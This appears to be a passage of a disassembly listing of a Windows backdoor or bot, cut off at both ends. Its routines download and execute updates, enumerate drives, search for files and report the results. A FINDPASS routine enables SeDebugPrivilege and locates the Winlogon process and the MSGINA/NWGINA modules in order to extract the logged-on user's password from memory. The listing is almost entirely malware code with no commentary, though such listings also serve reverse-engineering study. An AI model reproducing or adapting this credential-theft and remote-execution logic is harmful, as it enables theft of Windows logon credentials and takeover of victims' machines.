fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_432420
fstp [esp+590h+var_590]
push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"...
push eax
call sub_418D70
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_405480
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
add esp, 14h
loc_405480: ; CODE XREF: sub_405084+3DAj
lea eax, [ebp+var_510]
push eax
call sub_4035E1
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_4189A0
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_4189A0
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset dword_449CE0
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_494330
cmp eax, edi
jnz short loc_405502
call dword_44B620 ; WSACleanup
call sub_409D2E
push esi
call ds:dword_49432C
loc_405502: ; CODE XREF: sub_405084+46Aj
lea eax, [ebp+var_148]
push eax
push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
jmp short loc_40551C
; ---------------------------------------------------------------------------
loc_405510: ; CODE XREF: sub_405084+45j
lea eax, [ebp+var_248]
push eax
push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."
loc_40551C: ; CODE XREF: sub_405084+48Aj
lea eax, [ebp+var_510]
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_405550
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
add esp, 14h
loc_405550: ; CODE XREF: sub_405084+4AAj
lea eax, [ebp+var_510]
push eax
call sub_4035E1
pop ecx
loc_40555D: ; CODE XREF: sub_405084+29Cj
; sub_405084+325j ...
push [ebp+var_18]
call dword_44B6F4 ; InternetCloseHandle
push [ebp+var_48]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
sub_405084 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405576 proc near ; CODE XREF: sub_405084+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_405592
loc_405582: ; CODE XREF: sub_405576+1Aj
mov dl, byte_43E1B8
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_405582
locret_405592: ; CODE XREF: sub_405576+Aj
retn
sub_405576 endp
; =============== S U B R O U T I N E =======================================
sub_405593 proc near ; CODE XREF: sub_40C50A+2A6Ap
; sub_40C50A+2BC9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41A3E0
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_405593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055AD proc near ; CODE XREF: sub_40465D+2DBp
; sub_404A02+1B5p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_449CE4
push 0
push edi
call sub_4189A0
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4055D2: ; CODE XREF: sub_4055AD+5Bj
; sub_4055AD+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41A4B0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41A440
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_405610
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4055D2
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4055D2
; ---------------------------------------------------------------------------
loc_405610: ; CODE XREF: sub_4055AD+4Bj
dec esi
mov eax, edi
loc_405613: ; CODE XREF: sub_4055AD+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_405622
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_405613
; ---------------------------------------------------------------------------
loc_405622: ; CODE XREF: sub_4055AD+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_4055AD endp
; =============== S U B R O U T I N E =======================================
sub_40562C proc near ; CODE XREF: sub_4057E1+51p
; sub_4057E1+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_44B720 ; GetDriveTypeA
sub eax, 0
jz short loc_40566F
dec eax
jz short loc_405669
dec eax
dec eax
jz short loc_405663
dec eax
jz short loc_40565D
dec eax
jz short loc_405657
dec eax
jz short loc_405651
mov eax, offset a? ; "?"
retn
; ---------------------------------------------------------------------------
loc_405651: ; CODE XREF: sub_40562C+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_405657: ; CODE XREF: sub_40562C+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40565D: ; CODE XREF: sub_40562C+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_405663: ; CODE XREF: sub_40562C+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_405669: ; CODE XREF: sub_40562C+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40566F: ; CODE XREF: sub_40562C+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40562C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405675 proc near ; CODE XREF: sub_4056BD+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_44B5BC
test eax, eax
jz short loc_4056AA
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_4056AA: ; CODE XREF: sub_405675+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_405675 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4056BD proc near ; CODE XREF: sub_4057E1+17p
; sub_415430+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_405675
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_405797
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_405797
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_405797
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_41A530
push edx
push eax
call sub_4055AD
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_418EF0
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_41A530
push edx
push eax
call sub_4055AD
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_418EF0
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_41A530
push edx
push eax
call sub_4055AD
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_418EF0
jmp short loc_4057CA
; ---------------------------------------------------------------------------
loc_405797: ; CODE XREF: sub_4056BD+2Cj
; sub_4056BD+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_418D70
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_418D70
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_418D70
loc_4057CA: ; CODE XREF: sub_4056BD+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_4056BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4057E1 proc near ; CODE XREF: sub_4058B3+17p
; sub_4058B3+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_4056BD
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_419360
add esp, 10h
test eax, eax
jnz short loc_405854
push ebx
push ebx
call sub_40562C
pop ecx
push eax
push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "...
lea eax, [ebp+var_500]
push 200h
push eax
call sub_418EF0
add esp, 14h
jmp short loc_405888
; ---------------------------------------------------------------------------
loc_405854: ; CODE XREF: sub_4057E1+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40562C
pop ecx
push eax
push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
lea eax, [ebp+var_500]
push 200h
push eax
call sub_418EF0
add esp, 20h
loc_405888: ; CODE XREF: sub_4057E1+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_500]
push eax
call sub_4035E1
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4057E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058B3 proc near ; CODE XREF: sub_40C50A+57CCp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4058D4
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4057E1
add esp, 10h
jmp short loc_405935
; ---------------------------------------------------------------------------
loc_4058D4: ; CODE XREF: sub_4058B3+9j
push esi
push edi
push ebx
push ebx
call dword_44B630 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_416A10
pop ecx
mov edi, eax
push edi
push esi
call dword_44B630 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40592C
loc_4058F8: ; CODE XREF: sub_4058B3+77j
push offset aA ; "A:\\"
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40591B
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4057E1
add esp, 10h
loc_40591B: ; CODE XREF: sub_4058B3+54j
push esi
call sub_418E70
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_4058F8
loc_40592C: ; CODE XREF: sub_4058B3+43j
push edi
call sub_417480
pop ecx
pop edi
pop esi
loc_405935: ; CODE XREF: sub_4058B3+1Fj
pop ebx
pop ebp
retn
sub_4058B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405938 proc near ; DATA XREF: sub_40BBCB+14o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_44D064
call dword_44B758 ; closesocket
call sub_4163B4
call dword_44B620 ; WSACleanup
call dword_44B620 ; WSACleanup
mov ebx, ds:dword_4942D8
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_4189A0
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_4189A0
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_449D24
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_494320
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_4942F8
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_494330
test eax, eax
jz short loc_4059FD
push 64h
call ebx
push [ebp+var_10]
mov esi, ds:dword_4942E0
call esi
push [ebp+var_C]
call esi
loc_4059FD: ; CODE XREF: sub_405938+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_449D1C
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_49432C
pop edi
pop esi
pop ebx
sub_405938 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A20 proc near ; DATA XREF: sub_40C50A+3D60o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_418E70
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_405A75
lea eax, [ebp+var_114]
push eax
call sub_418E70
pop ecx
mov [ebp+eax+var_115], bl
loc_405A75: ; CODE XREF: sub_405A20+3Fj
lea eax, [ebp+var_218]
push eax
push offset aFindfileSearch ; "[FINDFILE]: Searching for file: %s."
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_405ABA
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40842D
add esp, 14h
loc_405ABA: ; CODE XREF: sub_405A20+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_405B38
push eax
lea eax, [ebp+var_49C]
push offset aFindfileFilesF ; "[FINDFILE]: Files found: %d."
push eax
call sub_418D70
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_405B18
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40842D
add esp, 14h
loc_405B18: ; CODE XREF: sub_405A20+D6j
lea eax, [ebp+var_49C]
push eax
call sub_4035E1
push [ebp+var_10]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_405A20 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B38 proc near ; CODE XREF: sub_405A20+B9p
; sub_405B38+9Cp
var_548 = byte ptr -548h
var_348 = byte ptr -348h
var_244 = byte ptr -244h
var_140 = byte ptr -140h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 548h
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_244]
push offset aS_1 ; "%s\\*"
push esi
push eax
call sub_418EF0
mov edi, ds:dword_49433C
add esp, 10h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_405BF1
loc_405B7E: ; CODE XREF: sub_405B38+B7j
test [ebp+var_140], 10h
jz short loc_405BDF
cmp [ebp+var_114], 2Eh
jnz short loc_405BA2
cmp [ebp+var_113], 0
jz short loc_405BDF
cmp [ebp+var_113], 2Eh
jz short loc_405BDF
loc_405BA2: ; CODE XREF: sub_405B38+56j
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_348]
push [ebp+arg_10]
push offset aSS_1 ; "%s\\%s"
push esi
push eax
call sub_418EF0
push [ebp+arg_14]
lea eax, [ebp+var_348]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_405B38
add esp, 2Ch
mov [ebp+arg_14], eax
loc_405BDF: ; CODE XREF: sub_405B38+4Dj
; sub_405B38+5Fj ...
lea eax, [ebp+var_140]
push eax
push ebx
call ds:dword_494338
test eax, eax
jnz short loc_405B7E
loc_405BF1: ; CODE XREF: sub_405B38+44j
push ebx
mov ebx, ds:dword_494334
call ebx
push [ebp+arg_C]
lea eax, [ebp+var_244]
push [ebp+arg_10]
push offset aSS_2 ; "%s\\%s"
push esi
push eax
call sub_418EF0
add esp, 14h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_405C7B
loc_405C2C: ; CODE XREF: sub_405B38+141j
lea eax, [ebp+var_114]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_548]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_418EF0
push 1
lea eax, [ebp+var_548]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 28h
lea eax, [ebp+var_140]
push eax
push esi
call ds:dword_494338
test eax, eax
jnz short loc_405C2C
loc_405C7B: ; CODE XREF: sub_405B38+F2j
push esi
call ebx
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_405B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C86 proc near ; DATA XREF: sub_40C50A+5238o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_4152DC
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_405CC5
cmp eax, 2
jz short loc_405CC5
push offset aFindpassOnlySu ; "[FINDPASS]: Only supported on Windows N"...
jmp loc_405E04
; ---------------------------------------------------------------------------
loc_405CC5: ; CODE XREF: sub_405C86+2Ej
; sub_405C86+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_40B487
pop ecx
test eax, eax
pop ecx
jz loc_405DFF
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_49434C
mov esi, ds:dword_494348
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_44AF34, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_44AF28, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_44B138, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_44AF30, eax
call esi
mov dword_44AF2C, eax
call sub_405E58
test eax, eax
mov [ebp+arg_0], eax
jz loc_405DD2
mov esi, ds:dword_494344
mov edi, 400h
mov ebx, offset dword_449F28
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi
push edi
mov edi, offset dword_44A728
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi
cmp [ebp+var_4], 1
push offset dword_44B140
push [ebp+arg_0]
jnz short loc_405D7E
call sub_405FE1
jmp short loc_405D83
; ---------------------------------------------------------------------------
loc_405D7E: ; CODE XREF: sub_405C86+EFj
call sub_406188
loc_405D83: ; CODE XREF: sub_405C86+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_405DCB
cmp dword_44B140, 0
jnz short loc_405DB2
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"...
push 200h
push eax
call sub_418EF0
add esp, 18h
jmp short loc_405DE5
; ---------------------------------------------------------------------------
loc_405DB2: ; CODE XREF: sub_405C86+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_405DC2
call sub_4062BE
jmp short loc_405DC7
; ---------------------------------------------------------------------------
loc_405DC2: ; CODE XREF: sub_405C86+133j
call sub_406355
loc_405DC7: ; CODE XREF: sub_405C86+13Aj
pop ecx
push eax
jmp short loc_405DD7
; ---------------------------------------------------------------------------
loc_405DCB: ; CODE XREF: sub_405C86+101j
push offset aFindpassUnable ; "[FINDPASS]: Unable to find the password"...
jmp short loc_405DD7
; ---------------------------------------------------------------------------
loc_405DD2: ; CODE XREF: sub_405C86+B6j
push offset aFindpassUnab_0 ; "[FINDPASS]: Unable to find Winlogon Pro"...
loc_405DD7: ; CODE XREF: sub_405C86+143j
; sub_405C86+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_418D70
pop ecx
pop ecx
loc_405DE5: ; CODE XREF: sub_405C86+12Aj
push 0
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_40B487
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_494340
pop ebx
jmp short loc_405E12
; ---------------------------------------------------------------------------
loc_405DFF: ; CODE XREF: sub_405C86+4Ej
push offset aFindpassFailed ; "[FINDPASS]: Failed to enable Debug Priv"...
loc_405E04: ; CODE XREF: sub_405C86+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_418D70
pop ecx
pop ecx
loc_405E12: ; CODE XREF: sub_405C86+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_405E39
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_40842D
add esp, 14h
loc_405E39: ; CODE XREF: sub_405C86+191j
lea eax, [ebp+var_29C]
push eax
call sub_4035E1
push [ebp+var_18]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
sub_405C86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405E58 proc near ; CODE XREF: sub_405C86+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_494358
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, ds:dword_494354
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_44AF34
push ebp
push 0
call esi
push eax
call ds:dword_494350
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_44AF34
test eax, eax
jnz short loc_405F45
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_405F45
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_405F45
loc_405EE1: ; CODE XREF: sub_405E58+EBj
cmp word ptr [ebx+8], 5
jnz short loc_405F38
push 0
push 0
call dword_44AF28
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_44B138
test eax, eax
jnz short loc_405F29
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41A5E0
pop ecx
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5D
loc_405F29: ; CODE XREF: sub_405E58+AAj
test edi, edi
jz short loc_405F34
push edi
call dword_44AF30
loc_405F34: ; CODE XREF: sub_405E58+D3j
mov eax, [esp+28h+var_10]
loc_405F38: ; CODE XREF: sub_405E58+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_405EE1
loc_405F45: ; CODE XREF: sub_405E58+6Dj
; sub_405E58+7Aj ...
xor edi, edi
loc_405F47: ; CODE XREF: sub_405E58+17Dj
push ebp
push 0
call esi
push eax
call ds:dword_494350
mov eax, edi
loc_405F55: ; CODE XREF: sub_405E58+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_405F5D: ; CODE XREF: sub_405E58+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_405FC6
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_405F73: ; CODE XREF: sub_405E58+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41A5E0
pop ecx
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDA
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41A5E0
pop ecx
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FB8
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_405FB8: ; CODE XREF: sub_405E58+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_405F73
loc_405FC6: ; CODE XREF: sub_405E58+10Fj
test edi, edi
jz short loc_405FD1
push edi
call dword_44AF30
loc_405FD1: ; CODE XREF: sub_405E58+170j
mov edi, [esp+28h+var_4]
jmp loc_405F47
; ---------------------------------------------------------------------------
loc_405FDA: ; CODE XREF: sub_405E58+13Cj
xor eax, eax
jmp loc_405F55
sub_405E58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FE1 proc near ; CODE XREF: sub_405C86+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_494370
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_40600A
xor eax, eax
jmp loc_406185
; ---------------------------------------------------------------------------
loc_40600A: ; CODE XREF: sub_405FE1+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_49436C
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_494358
push 8
call esi
mov edi, ds:dword_494354
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, ds:dword_494368
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_40605A
xor esi, esi
jmp loc_406178
; ---------------------------------------------------------------------------
loc_40605A: ; CODE XREF: sub_405FE1+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
